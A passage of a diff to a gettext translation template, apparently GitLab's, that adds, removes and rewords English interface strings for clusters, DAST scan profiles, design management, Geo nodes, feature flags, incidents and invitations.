msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
